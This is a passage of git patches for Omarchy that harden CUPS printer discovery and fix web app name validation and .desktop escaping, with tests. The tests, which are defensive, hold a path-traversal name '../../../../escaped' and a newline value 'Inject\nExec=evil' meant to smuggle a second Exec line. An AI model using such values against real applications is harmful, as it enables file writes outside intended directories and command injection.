install/omarchy-base.packages | 2 +- migrations/1787815267.sh | 34 ++++ test/acceptance.d/system-test.sh | 68 ++++++- test/shell.d/cups-hardening-test.sh | 169 ++++++++++++++++++ 9 files changed, 375 insertions(+), 6 deletions(-) create mode 100644 etc/systemd/system/cups-browsed.service.d/10-omarchy.conf create mode 100644 etc/sysusers.d/omarchy-cups-browsed.conf create mode 100644 install/config/printing.sh create mode 100644 migrations/1787815267.sh create mode 100644 test/shell.d/cups-hardening-test.sh diff --git a/etc/cups/cups-browsed.conf b/etc/cups/cups-browsed.conf index ed1bdbad..19863e59 100644 --- a/etc/cups/cups-browsed.conf +++ b/etc/cups/cups-browsed.conf @@ -1,4 +1,8 @@ -# Omarchy override of cups-browsed's shipped config. The only behavioural -# change vs the upstream default (all-commented) is enabling auto-registration -# of remote IPP printers discovered via Avahi/mDNS. -CreateRemotePrinters Yes +# Keep state away from /var/cache/cups, which is writable by the account CUPS +# uses for print filters. cups-browsed is the only writer to this directory. +CacheDir /var/cache/cups-browsed + +# Auto-create queues only for modern driverless IPP printers. Remote queues +# exported by another CUPS server can still be added manually when needed. +CreateIPPPrinterQueues Driverless +CreateRemoteCUPSPrinterQueues No diff --git a/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf b/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf new file mode 100644 index 00000000..54107197 --- /dev/null +++ b/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf @@ -0,0 +1,11 @@ +[Service] +User=cups-browsed +Group=cups-browsed +CacheDirectory=cups-browsed +CacheDirectoryMode=0750 +UMask=0027 +NoNewPrivileges=yes +ProtectSystem=strict +ProtectHome=yes +PrivateTmp=yes +RestrictSUIDSGID=yes diff --git a/etc/sysusers.d/omarchy-cups-browsed.conf b/etc/sysusers.d/omarchy-cups-browsed.conf new file mode 100644 index 00000000..fa602c18 --- /dev/null +++ b/etc/sysusers.d/omarchy-cups-browsed.conf @@ -0,0 +1 @@ +u cups-browsed - "CUPS printer discovery" / - diff --git a/install/config/all.sh b/install/config/all.sh index 91256dc7..aa1044f1 100644 --- a/install/config/all.sh +++ b/install/config/all.sh @@ -7,5 +7,6 @@ run_logged "$OMARCHY_INSTALL/config/ssh-keepalive.sh" run_logged "$OMARCHY_INSTALL/config/docker.sh" run_logged "$OMARCHY_INSTALL/config/snapper.sh" run_logged "$OMARCHY_INSTALL/config/locate.sh" +run_logged "$OMARCHY_INSTALL/config/printing.sh" run_logged "$OMARCHY_INSTALL/config/enable-services.sh" run_logged "$OMARCHY_INSTALL/config/firewall.sh" diff --git a/install/config/printing.sh b/install/config/printing.sh new file mode 100644 index 00000000..b99e03c3 --- /dev/null +++ b/install/config/printing.sh @@ -0,0 +1,83 @@ +# cups-browsed manages queues through CUPS and does not need Unix root. Give +# only its locked service account passwordless CUPS administration; interactive +# users go through cups-pk-helper and Polkit instead. +cups_files_conf="${OMARCHY_CUPS_FILES_CONF:-/etc/cups/cups-files.conf}" +cups_browsed_sysusers_conf="${OMARCHY_CUPS_BROWSED_SYSUSERS_CONF:-/etc/sysusers.d/omarchy-cups-browsed.conf}" + +if [[ -f $cups_browsed_sysusers_conf ]]; then + systemd-sysusers "$cups_browsed_sysusers_conf" +fi + +if [[ -L $cups_files_conf ]]; then + echo "Refusing to rewrite symlinked CUPS authorization config: $cups_files_conf" >&2 + false +elif [[ -f $cups_files_conf ]]; then + staged_conf=$(mktemp --tmpdir="${cups_files_conf%/*}" ".${cups_files_conf##*/}.XXXXXX") + + if ! awk ' + NR == FNR { + if ($1 == "SystemGroup") { + for (i = 2; i <= NF; i++) { + if (substr($i, 1, 1) == "#") + break + if ($i != "wheel" && !seen_group[$i]) { + system_groups[++system_group_count] = $i + seen_group[$i] = 1 + } + } + } + next + } + + $1 == "SystemGroup" { + comment_start = index($0, "#") + if (!wrote_system_group) { + printf "SystemGroup" + for (i = 1; i <= system_group_count; i++) + printf " %s", system_groups[i] + if (!seen_group["cups-browsed"]) + printf " cups-browsed" + if (comment_start) + printf " %s", substr($0, comment_start) + print "" + wrote_system_group = 1 + } else if (comment_start) { + print substr($0, comment_start) + } + next + } + + $1 == "PeerCred" { + comment_start = index($0, "#") + if (!saw_peer_cred) { + printf "PeerCred on" + if (comment_start) + printf " %s", substr($0, comment_start) + print "" + } else if (comment_start) { + print substr($0, comment_start) + } + saw_peer_cred = 1 + next + } + + { print } + + END { + if (!wrote_system_group) + print "SystemGroup sys root cups-browsed" + if (!saw_peer_cred) + print "PeerCred on" + } + ' "$cups_files_conf" "$cups_files_conf" >"$staged_conf"; then + rm -f "$staged_conf" + false + fi + + if ! chmod --reference="$cups_files_conf" "$staged_conf" || + ! chown --reference="$cups_files_conf" "$staged_conf" || + ! mv -f "$staged_conf" "$cups_files_conf"; then + rm -f "$staged_conf" + false + fi +fi diff --git a/install/omarchy-base.packages b/install/omarchy-base.packages index 4097b645..f4c5e2ef 100644 --- a/install/omarchy-base.packages +++ b/install/omarchy-base.packages @@ -19,7 +19,7 @@ cliamp cups cups-browsed cups-filters -cups-pdf +cups-pk-helper ddcutil docker docker-buildx diff --git a/migrations/1787815267.sh b/migrations/1787815267.sh new file mode 100644 index 00000000..c5b89c2f --- /dev/null +++ b/migrations/1787815267.sh @@ -0,0 +1,34 @@ +echo "Separate printer discovery from root and print-filter access" + +machine_marker="${OMARCHY_CUPS_MIGRATION_MARKER:-/var/lib/omarchy/migrations/1787815267}" + +[[ ! -e $machine_marker ]] || exit 0 + +# CUPS-PDF accepts a job-controlled post-processing command in a backend that +# CUPS launches as root. Native application print-to-file support replaces it. +omarchy-pkg-drop cups-pdf + +# system-config-printer uses this helper to request printer administration +# through Polkit now that the desktop user's wheel group is no longer @SYSTEM. +if omarchy-pkg-present cups; then + omarchy-pkg-add cups-pk-helper +fi + +cups_browsed_was_active=0 +if systemctl is-active --quiet cups-browsed.service 2>/dev/null; then + cups_browsed_was_active=1 + sudo systemctl stop cups-browsed.service +fi + +if omarchy-pkg-present cups; then + sudo env OMARCHY_PATH="$OMARCHY_PATH" \ + bash -euo pipefail "$OMARCHY_PATH/install/config/printing.sh" + sudo systemctl daemon-reload + sudo systemctl try-reload-or-restart cups.service +fi + +if (( cups_browsed_was_active )) && omarchy-pkg-present cups-browsed; then + sudo systemctl restart cups-browsed.service +fi + +sudo install -Dm644 /dev/null "$machine_marker" diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index 53b2c1d7..c5c8da5c 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -64,6 +64,72 @@ verify_services() { pass "user audio services are running" } +verify_printing_security() { + local cups_browsed_pid lpinfo_output printer_name printer_process printer_tmp + + ! pacman -Q cups-pdf >/dev/null 2>&1 || fail "CUPS-PDF is absent" + pass "the root CUPS-PDF backend is not installed" + + getent passwd cups-browsed >/dev/null || fail "the cups-browsed service account exists" + [[ $(systemctl show -P User cups-browsed.service) == "cups-browsed" ]] || + fail "cups-browsed runs as its service account" + [[ $(systemctl show -P Group cups-browsed.service) == "cups-browsed" ]] || + fail "cups-browsed runs as its service group" + systemctl is-active --quiet cups-browsed.service || fail "cups-browsed is running" + + cups_browsed_pid=$(systemctl show -P MainPID cups-browsed.service) + [[ -r /proc/$cups_browsed_pid/status ]] || fail "cups-browsed has a readable process status" + [[ $(awk '/^Uid:/{print $2}' "/proc/$cups_browsed_pid/status") != 0 ]] || + fail "cups-browsed does not run with root UID" + [[ $(awk '/^CapEff:/{print $2}' "/proc/$cups_browsed_pid/status") == "0000000000000000" ]] || + fail "cups-browsed has no effective Linux capabilities" + + [[ $(stat -c '%a %U:%G' /var/cache/cups-browsed) == "750 cups-browsed:cups-browsed" ]] || + fail "cups-browsed has an isolated cache" "$(stat -c '%a %U:%G' /var/cache/cups-browsed)" + ! id -nG cups-browsed | grep -qw cups || + fail "cups-browsed is separate from the print-filter group" + + if lpinfo_output=$(LC_ALL=C timeout 10 lpinfo -v &1); then + fail "the desktop user cannot administer CUPS without authentication" + elif [[ $lpinfo_output != *"Forbidden"* ]]; then + fail "CUPS explicitly denies unauthenticated desktop administration" "$lpinfo_output" + fi + + pass "CUPS discovery is isolated from root, filters, and passwordless desktop administration" + + # A live driverless printer proves the non-root daemon can still discover and + # create queues without the CAP_NET_BIND_SERVICE Ubuntu carries downstream. + printer_name="OmarchyAcceptancePrinter" + printer_tmp=$(mktemp -d) + printf '#!/bin/bash\nexit 0\n' >"$printer_tmp/command" + chmod 0700 "$printer_tmp/command" + mkdir -m 0700 "$printer_tmp/spool" + + ippeveprinter -p 18631 -d "$printer_tmp/spool" -c "$printer_tmp/command" "$printer_name" \ + >"$printer_tmp/ippeveprinter.log" 2>&1 & + printer_process=$! + + printing_test_cleanup() { + kill "$printer_process" >/dev/null 2>&1 || true + wait "$printer_process" >/dev/null 2>&1 || true + rm -rf "$printer_tmp" + } + trap printing_test_cleanup EXIT + + for _ in {1..30}; do + lpstat -v "$printer_name" 2>/dev/null | grep -q "implicitclass://$printer_name/" && break + sleep 1 + done + + lpstat -v "$printer_name" 2>/dev/null | grep -q "implicitclass://$printer_name/" || + fail "non-root cups-browsed discovers a driverless IPP printer" "$(<"$printer_tmp/ippeveprinter.log")" + + printing_test_cleanup + trap - EXIT + + pass "non-root cups-browsed still creates driverless IPP queues without capabilities" +} + verify_runtime_tools() { # Docker access is intentionally NOT granted to the desktop user: the docker # group is root-equivalent, so a rogue process running as the user could @@ -107,7 +173,7 @@ verify_user_setup() { pass "Omarchy user state and shell configuration exist" } -for check in verify_core_packages verify_defaults verify_services verify_runtime_tools verify_user_setup; do +for check in verify_core_packages verify_defaults verify_services verify_printing_security verify_runtime_tools verify_user_setup; do if ! ("$check"); then status=1 fi diff --git a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh new file mode 100644 index 00000000..7ba8fea3 --- /dev/null +++ b/test/shell.d/cups-hardening-test.sh @@ -0,0 +1,169 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +packages="$ROOT/install/omarchy-base.packages" +cups_browsed_conf="$ROOT/etc/cups/cups-browsed.conf" +sysusers_conf="$ROOT/etc/sysusers.d/omarchy-cups-browsed.conf" +service_dropin="$ROOT/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf" + +grep -qxF cups-browsed "$packages" || fail "cups-browsed remains in the base package set" +grep -qxF cups-pk-helper "$packages" || fail "Polkit printer administration is installed" +! grep -qxF cups-pdf "$packages" || fail "the root CUPS-PDF backend is removed" + +pass "the base install keeps discovery and replaces CUPS-PDF with Polkit administration" + +grep -qxF 'CacheDir /var/cache/cups-browsed' "$cups_browsed_conf" || + fail "cups-browsed keeps state outside the print-filter cache" +grep -qxF 'CreateIPPPrinterQueues Driverless' "$cups_browsed_conf" || + fail "automatic queues are limited to driverless IPP printers" +grep -qxF 'CreateRemoteCUPSPrinterQueues No' "$cups_browsed_conf" || + fail "remote CUPS queues are not created automatically" +! grep -q 'CreateRemotePrinters' "$cups_browsed_conf" || + fail "the unsupported CreateRemotePrinters directive is gone" + +pass "cups-browsed uses explicit supported discovery policy and an isolated cache" + +grep -qxF 'u cups-browsed - "CUPS printer discovery" / -' "$sysusers_conf" || + fail "a locked cups-browsed system account is declared" + +for setting in \ + 'User=cups-browsed' \ + 'Group=cups-browsed' \ + 'CacheDirectory=cups-browsed' \ + 'CacheDirectoryMode=0750' \ + 'UMask=0027' \ + 'NoNewPrivileges=yes' \ + 'ProtectSystem=strict' \ + 'ProtectHome=yes' \ + 'PrivateTmp=yes' \ + 'RestrictSUIDSGID=yes'; do + grep -qxF "$setting" "$service_dropin" || + fail "cups-browsed service hardening includes $setting" +done + +! grep -q '^\(Ambient\|CapabilityBoundingSet\).*CAP_NET_BIND_SERVICE' "$service_dropin" || + fail "cups-browsed is not granted an unverified network capability" + +pass "cups-browsed runs as its confined service account without added capabilities" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +mkdir -p "$mock_bin" "$test_tmp/etc/cups" "$test_tmp/var/lib/omarchy/migrations" + +cat >"$mock_bin/systemd-sysusers" <<'SH' +#!/bin/bash +printf 'sysusers\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +SH +cat >"$mock_bin/chown" <<'SH' +#!/bin/bash +printf 'chown\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +SH +cat >"$mock_bin/omarchy-pkg-present" <<'SH' +#!/bin/bash +[[ $1 == "cups" || $1 == "cups-browsed" ]] +SH +for command in omarchy-pkg-add omarchy-pkg-drop; do + cat >"$mock_bin/$command" <<'SH' +#!/bin/bash +printf '%s\t%s\n' "${0##*/}" "$*" >>"$OMARCHY_CUPS_TEST_LOG" +SH +done +cat >"$mock_bin/systemctl" <<'SH' +#!/bin/bash +printf 'systemctl\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +exit 0 +SH +cat >"$mock_bin/sudo" <<'SH' +#!/bin/bash +printf 'sudo\t%s\n' "$*" >>"$OMARCHY_CUPS_TEST_LOG" +exec "$@" +SH +chmod +x "$mock_bin"/* + +authorization_conf="$test_tmp/etc/cups/cups-files.conf" +cat >"$authorization_conf" <<'CONF' +# Keep this custom preamble. +SystemGroup sys root wheel custom-admin wheel # Keep this inline comment. +SystemGroup wheel print-operators # Keep this second inline comment. +PeerCred off # Keep this PeerCred comment. +PeerCred off # Keep this second PeerCred comment. +CONF + +log="$test_tmp/actions.log" +export OMARCHY_CUPS_TEST_LOG="$log" + +run_printing_setup() { + PATH="$mock_bin:$PATH" \ + OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + bash -euo pipefail "$ROOT/install/config/printing.sh" +} + +run_printing_setup + +grep -qxF 'SystemGroup sys root custom-admin print-operators cups-browsed # Keep this inline comment.' "$authorization_conf" || + fail "printing setup reserves CUPS administration for the service account" +grep -qxF '# Keep this second inline comment.' "$authorization_conf" || + fail "printing setup preserves comments from consolidated SystemGroup directives" +grep -qxF 'PeerCred on # Keep this PeerCred comment.' "$authorization_conf" || + fail "printing setup enables peer credentials for the service account" +grep -qxF '# Keep this second PeerCred comment.' "$authorization_conf" || + fail "printing setup preserves comments from duplicate PeerCred directives" +grep -qxF '# Keep this custom preamble.' "$authorization_conf" || + fail "printing setup preserves unrelated CUPS configuration" +[[ $(grep -c '^SystemGroup ' "$authorization_conf") == 1 ]] || + fail "printing setup emits one SystemGroup directive" + +cp "$authorization_conf" "$test_tmp/first-run.conf" +run_printing_setup +cmp -s "$authorization_conf" "$test_tmp/first-run.conf" || + fail "printing setup is idempotent" + +pass "printing setup narrows CUPS authorization without clobbering other configuration" + +ln -s "$authorization_conf" "$test_tmp/etc/cups/symlinked.conf" +if PATH="$mock_bin:$PATH" \ + OMARCHY_CUPS_FILES_CONF="$test_tmp/etc/cups/symlinked.conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + bash -euo pipefail "$ROOT/install/config/printing.sh" 2>/dev/null; then + fail "printing setup refuses a symlinked authorization file" +fi + +pass "printing setup refuses to rewrite a symlinked privileged configuration" + +marker="$test_tmp/var/lib/omarchy/migrations/1787815267" +PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_FILES_CONF="$authorization_conf" \ + OMARCHY_CUPS_BROWSED_SYSUSERS_CONF="$sysusers_conf" \ + OMARCHY_CUPS_MIGRATION_MARKER="$marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" + +grep -qxF $'omarchy-pkg-drop\tcups-pdf' "$log" || + fail "the migration removes CUPS-PDF" +grep -qxF $'omarchy-pkg-add\tcups-pk-helper' "$log" || + fail "the migration installs authenticated printer administration" +grep -qxF $'systemctl\tstop cups-browsed.service' "$log" || + fail "the migration stops the root cups-browsed process before reconfiguration" +grep -qxF $'systemctl\tdaemon-reload' "$log" || + fail "the migration reloads the hardened service" +grep -qxF $'systemctl\ttry-reload-or-restart cups.service' "$log" || + fail "the migration applies narrowed CUPS authorization" +grep -qxF $'systemctl\trestart cups-browsed.service' "$log" || + fail "the migration resumes an active cups-browsed service" +[[ -f $marker ]] || fail "the migration records machine-wide completion" + +actions_after_first_run=$(wc -l <"$log") +PATH="$mock_bin:$PATH" \ + OMARCHY_PATH="$ROOT" \ + OMARCHY_CUPS_MIGRATION_MARKER="$marker" \ + bash -euo pipefail "$ROOT/migrations/1787815267.sh" +[[ $(wc -l <"$log") == "$actions_after_first_run" ]] || + fail "the machine-wide migration repeats privileged work" + +pass "the migration safely converts an active existing installation once" From 9ece53cede223add78664959a7d807d94f247df2 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 17:04:25 +0200 Subject: [PATCH 094/336] Prove the web app name guard, and reject before the icon is fetched MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The slash guard was the only thing keeping a name out of the directory structure, and nothing tested it: deleting it left the suite green, because creating the launcher directly in the applications directory already makes the redirect fail on its own, with a raw bash error instead of the message. The assertion is on the message now, alongside the traversal case the guard actually closes -- on quattro a name of `../../../../escaped` writes its launcher clean outside the applications directory. The interactive prompt read the name, fetched the favicon, wrote it and updated the icon cache before the name was ever checked, so a URL typed into the Name field left an icon behind on every attempt. Validating as soon as the name is read covers both paths from one place. Removing by name also scanned unconditionally, so a machine with no applications directory printed a find error where omarchy-remove-gaming-xbox-cloud does not hide stderr. 🤖 Generated by Opus 5 in Claude Code. Co-Authored-By: Claude Opus 5 (1M context) --- bin/omarchy-webapp-install | 22 ++++++---- bin/omarchy-webapp-remove | 2 +- test/shell.d/webapp-name-test.sh | 71 ++++++++++++++++++++++++++++++-- 3 files changed, 83 insertions(+), 12 deletions(-) diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index b7985968..d976622d 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -13,6 +13,18 @@ safe_icon_name() { | sed 's/[^[:alnum:]]\+/-/g; s/^-//; s/-$//' } +require_plain_name() { + # The name becomes a filename. A slash would turn it into directory levels, so + # the launcher lands somewhere omarchy-webapp-remove cannot address and the app + # is stuck in the launcher; a leading ../ leaves the applications directory + # altogether. Refuse rather than silently renaming what the user typed -- most + # often it is a URL entered in the name field. + if [[ $1 == */* ]]; then + echo "App name cannot contain '/': $1" + exit 1 + fi +} + icon_name_from_ref() { local ref="$1" local name @@ -68,6 +80,7 @@ fetch_site_icon() { if (( $# < 3 )); then echo -e "\e[32mLet's create a new web app you can start with the app launcher.\n\e[0m" APP_NAME=$(gum input --prompt "Name> " --placeholder "My favorite web app") + require_plain_name "$APP_NAME" APP_URL=$(gum input --prompt "URL> " --placeholder "https://example.com") if [[ ! $APP_URL =~ ^[a-zA-Z][a-zA-Z0-9+.-]*: ]]; then APP_URL="https://$APP_URL" @@ -104,14 +117,7 @@ if [[ -z $APP_NAME || -z $APP_URL ]]; then exit 1 fi -# The name becomes a filename. A slash would turn it into directory levels, so -# the launcher lands somewhere omarchy-webapp-remove cannot address and the app -# is stuck in the launcher. Refuse rather than silently renaming what the user -# typed -- most often it is a URL entered in the name field. -if [[ $APP_NAME == */* ]]; then - echo "App name cannot contain '/': $APP_NAME" - exit 1 -fi +require_plain_name "$APP_NAME" if [[ -z $ICON_REF ]]; then ICON_VALUE=$(safe_icon_name "$APP_NAME") diff --git a/bin/omarchy-webapp-remove b/bin/omarchy-webapp-remove index 303b3a5d..b3244637 100755 --- a/bin/omarchy-webapp-remove +++ b/bin/omarchy-webapp-remove @@ -19,7 +19,7 @@ while IFS= read -r -d '' file; do WEB_APPS+=("$(basename "${file%.desktop}")") WEB_APP_PATHS+=("$file") fi -done < <(find "$DESKTOP_DIR" -name '*.desktop' -print0) +done < <(find "$DESKTOP_DIR" -name '*.desktop' -print0 2>/dev/null) # The launcher matching a chosen name, or empty when nothing was indexed under # it (an app removed between the scan and the pick, say). diff --git a/test/shell.d/webapp-name-test.sh b/test/shell.d/webapp-name-test.sh index cd66d445..903f851a 100644 --- a/test/shell.d/webapp-name-test.sh +++ b/test/shell.d/webapp-name-test.sh @@ -24,16 +24,73 @@ run_remove() { } apps_dir="$tmp_dir/home/.local/share/applications" +icons_dir="$tmp_dir/home/.local/share/icons/hicolor/256x256/apps" # A URL typed into the name field is the reported way in. Every slash used to -# become a directory level, leaving a launcher nothing could address. -if run_install "http://example.test/oops" "https://example.com" hey >/dev/null 2>&1; then +# become a directory level, leaving a launcher nothing could address. Assert on +# the message: creating the launcher directly in the applications directory +# already makes the redirect fail on its own, so a bare non-zero exit would pass +# just as well with no validation at all. +output=$(run_install "http://example.test/oops" "https://example.com" hey 2>&1) && fail "webapp install rejects a name containing a slash" -fi +[[ $output == *"App name cannot contain '/'"* ]] || + fail "webapp install says why it refused a slashed name" "$output" [[ -e "$apps_dir/http:" ]] && fail "webapp install does not create a directory from a slashed name" pass "webapp install rejects a name that would nest the launcher" +# The name was a path fragment until something said otherwise, so ../ climbed +# out of the applications directory entirely and wrote wherever it landed. +if run_install "../../../../escaped" "https://example.com" hey >/dev/null 2>&1; then + fail "webapp install rejects a name that climbs out of the applications directory" +fi +[[ -e "$tmp_dir/escaped.desktop" ]] && + fail "webapp install writes no launcher outside the applications directory" +pass "webapp install refuses a name that would escape the applications directory" + +# The interactive prompt reads the name long before it is used as a path, and +# fetches the site icon in between. Rejecting only at the write leaves that icon +# behind in the user's icon theme, once per attempt. +mkdir -p "$tmp_dir/ibin" +cp "$tmp_dir/bin"/* "$tmp_dir/ibin/" +cat >"$tmp_dir/ibin/gum" <<'STUB' +#!/bin/bash +count_file="${GUM_STUB_COUNT:?}" +count=$(cat "$count_file" 2>/dev/null || echo 0) +count=$((count + 1)) +echo "$count" >"$count_file" +if (( count == 1 )); then + echo "http://example.test/oops" +else + echo "https://example.com" +fi +STUB +cat >"$tmp_dir/ibin/curl" <<'STUB' +#!/bin/bash +# Answer any download with a real PNG so the icon fetch reports success. +out="" +prev="" +for arg in "$@"; do + [[ $prev == "-o" ]] && out="$arg" + prev="$arg" +done +if [[ -n $out ]]; then + printf '%s' 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==' | base64 -d >"$out" +fi +STUB +chmod +x "$tmp_dir/ibin/gum" "$tmp_dir/ibin/curl" + +if HOME="$tmp_dir/home" PATH="$tmp_dir/ibin:$PATH" \ + GUM_STUB_COUNT="$tmp_dir/gum-count" \ + "$ROOT/bin/omarchy-webapp-install" >/dev/null 2>&1; then + fail "interactive webapp install rejects a name containing a slash" +fi +if compgen -G "$icons_dir/*.png" >/dev/null; then + fail "interactive webapp install downloads no icon for a name it refuses" \ + "$(ls "$icons_dir")" +fi +pass "webapp install refuses a slashed name before fetching its icon" + # A normal name still installs and removes. run_install "Example App" "https://example.com" hey >/dev/null [[ -f "$apps_dir/Example App.desktop" ]] || @@ -59,3 +116,11 @@ run_remove "127.0.0.1:4000" >/dev/null [[ -f "$apps_dir/http:/127.0.0.1:4000/.desktop" ]] && fail "webapp remove deletes a launcher left nested by an older install" pass "webapp remove reaches a nested legacy launcher" + +# Removing by name on a machine with no applications directory yet must stay +# quiet: omarchy-remove-gaming-xbox-cloud calls it without hiding stderr. +noise=$(HOME="$tmp_dir/empty" PATH="$tmp_dir/bin:$PATH" OMARCHY_REMOVE_NOTIFY=false \ + "$ROOT/bin/omarchy-webapp-remove" "Xbox Cloud Gaming" 2>&1 >/dev/null) +[[ -n $noise ]] && + fail "webapp remove stays quiet with no applications directory" "$noise" +pass "webapp remove stays quiet when there is no applications directory" From c2587dff086f894055653a047796e5ec19727f3e Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Thu, 27 Aug 2026 19:45:45 +0200 Subject: [PATCH 095/336] Escape .desktop values with parameter expansion, not sed GNU sed's N auto-prints the pattern space and exits at end of input, so the `:a;N;$!ba` slurp skipped every following s/// for a value with no newline in it. That is every value except the injection attempt the escaping exists to stop, so the Exec quoting's own backslashes were written to the file unescaped and GLib refused to load the entry. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex GPT-5.6-sol (xhigh) --- bin/omarchy-webapp-install | 17 +++- test/shell.d/webapp-install-escaping-test.sh | 92 ++++++++++++++++++++ 2 files changed, 106 insertions(+), 3 deletions(-) create mode 100755 test/shell.d/webapp-install-escaping-test.sh diff --git a/bin/omarchy-webapp-install b/bin/omarchy-webapp-install index e4f0039d..f95d9ff2 100755 --- a/bin/omarchy-webapp-install +++ b/bin/omarchy-webapp-install @@ -70,9 +70,20 @@ desktop_string_escape() { # a raw newline would start a new key line and let a value inject a second # Exec=. Escape backslash first, then tab/CR/LF and a leading space. Every value # written into the .desktop file passes through here. - printf '%s' "$1" \ - | sed -e ':a;N;$!ba' \ - -e 's/\\/\\\\/g' -e 's/\t/\\t/g' -e 's/\r/\\r/g' -e 's/\n/\\n/g' -e 's/^ /\\s/' + # + # Parameter expansion rather than sed: GNU sed's N auto-prints the pattern space + # and exits at end of input, so a `:a;N;$!ba` slurp skips every following s/// + # for a value with no newline in it - which is every value except the injection + # attempt this exists to stop. + local value="$1" + + value=${value//\\/\\\\} + value=${value//$'\t'/\\t} + value=${value//$'\r'/\\r} + value=${value//$'\n'/\\n} + [[ $value == " "* ]] && value="\\s${value# }" + + printf '%s' "$value" } desktop_exec_arg() { diff --git a/test/shell.d/webapp-install-escaping-test.sh b/test/shell.d/webapp-install-escaping-test.sh new file mode 100755 index 00000000..6f1e0c70 --- /dev/null +++ b/test/shell.d/webapp-install-escaping-test.sh @@ -0,0 +1,92 @@ +#!/bin/bash + +set -euo pipefail + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +require_command gio + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +mkdir -p "$mock_bin" + +cat >"$mock_bin/omarchy-launch-webapp" <<'SH' +#!/bin/bash +printf '%s\n' "$@" >>"$OMARCHY_TEST_ARGV" +SH +chmod +x "$mock_bin"/* + +export HOME="$test_tmp/home" +export PATH="$mock_bin:$PATH" +export OMARCHY_TEST_ARGV="$test_tmp/argv" + +applications="$HOME/.local/share/applications" + +install_webapp() { + bash "$ROOT/bin/omarchy-webapp-install" "$@" >/dev/null +} + +desktop_value() { + sed -n "s/^$2=//p" "$1" | head -1 +} + +# gio launch returns before the entry it spawned has run, so poll for the argv the +# stub records rather than reading the log once. +launched_argument() { + local file="$1" attempt + + : >"$OMARCHY_TEST_ARGV" + gio launch "$file" >/dev/null 2>&1 || return 1 + for ((attempt = 0; attempt < 200; attempt++)); do + [[ -s $OMARCHY_TEST_ARGV ]] && break + sleep 0.01 + done + + head -1 "$OMARCHY_TEST_ARGV" +} + +# The Exec quoting escapes a dollar sign with a backslash, and the file syntax has +# to escape that backslash in turn. Left single, GLib reads \$ as an invalid escape +# and refuses the whole entry, so the web app vanishes from the launcher. +install_webapp 'Dollar App' 'https://example.com/a$b' someicon +dollar_file="$applications/Dollar App.desktop" + +[[ -f $dollar_file ]] || fail "web app install writes a desktop entry" + +[[ $(desktop_value "$dollar_file" Exec) == 'omarchy-launch-webapp "https://example.com/a\\$b"' ]] || + fail "Exec escapes the backslash its own quoting introduced" "$(desktop_value "$dollar_file" Exec)" +pass "Exec escapes the backslash its own quoting introduced" + +[[ $(launched_argument "$dollar_file") == 'https://example.com/a$b' ]] || + fail "a URL containing a dollar sign reaches the browser unchanged" +pass "a URL containing a dollar sign reaches the browser unchanged" + +# An unescaped % is read as a Desktop Entry field code and eaten, so ?q=a%20b used +# to arrive as ?q=a0b. +install_webapp 'Percent App' 'https://example.com/s?q=a%20b' someicon +percent_file="$applications/Percent App.desktop" + +[[ $(launched_argument "$percent_file") == 'https://example.com/s?q=a%20b' ]] || + fail "a percent-encoded URL reaches the browser unchanged" +pass "a percent-encoded URL reaches the browser unchanged" + +# A lone backslash is not a Desktop Entry escape sequence, so GLib cannot interpret +# a value that contains one. +install_webapp 'Back\slash App' 'https://example.com' someicon +backslash_file="$applications/Back\slash App.desktop" + +[[ $(desktop_value "$backslash_file" Name) == 'Back\\slash App' ]] || + fail "a backslash in the app name is escaped" "$(desktop_value "$backslash_file" Name)" +pass "a backslash in the app name is escaped" + +# The property the escaping exists for: a newline in a value must not be able to +# start a second key line. +inject_name=$(printf 'Inject\nExec=evil') +install_webapp "$inject_name" 'https://example.com' someicon +inject_file="$applications/$inject_name.desktop" + +(( $(grep -c '^Exec=' "$inject_file") == 1 )) || + fail "a newline in the app name cannot inject a second Exec" "$(cat "$inject_file")" +pass "a newline in the app name cannot inject a second Exec" From 521f1ae9acfd01a62d11ef8cd8b9479b2f9d6e9a Mon Sep 17 00:00:00 2001 From: omabot Date: Thu, 27 Aug 2026 19:45:27 +0200 Subject: [PATCH 096/336] Resume cups-browsed on whether it is enabled, not on whether it was running The migration recomputed whether cups-browsed was active at the start of every run, after an earlier run may already have stopped it. A run interrupted between that stop and the completion marker left the service down, and the retry that followed read it as inactive, skipped the restart, and wrote the marker anyway: printer discovery stayed off until the next reboot with no migration left to bring it back. Keying the restart to whether the unit is enabled survives the interruption, and reports not-enabled for a unit the user masked or disabled, which restarting would fail on and abort the migration short of its marker. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- migrations/1787815267.sh | 9 +++-- test/shell.d/cups-hardening-test.sh | 55 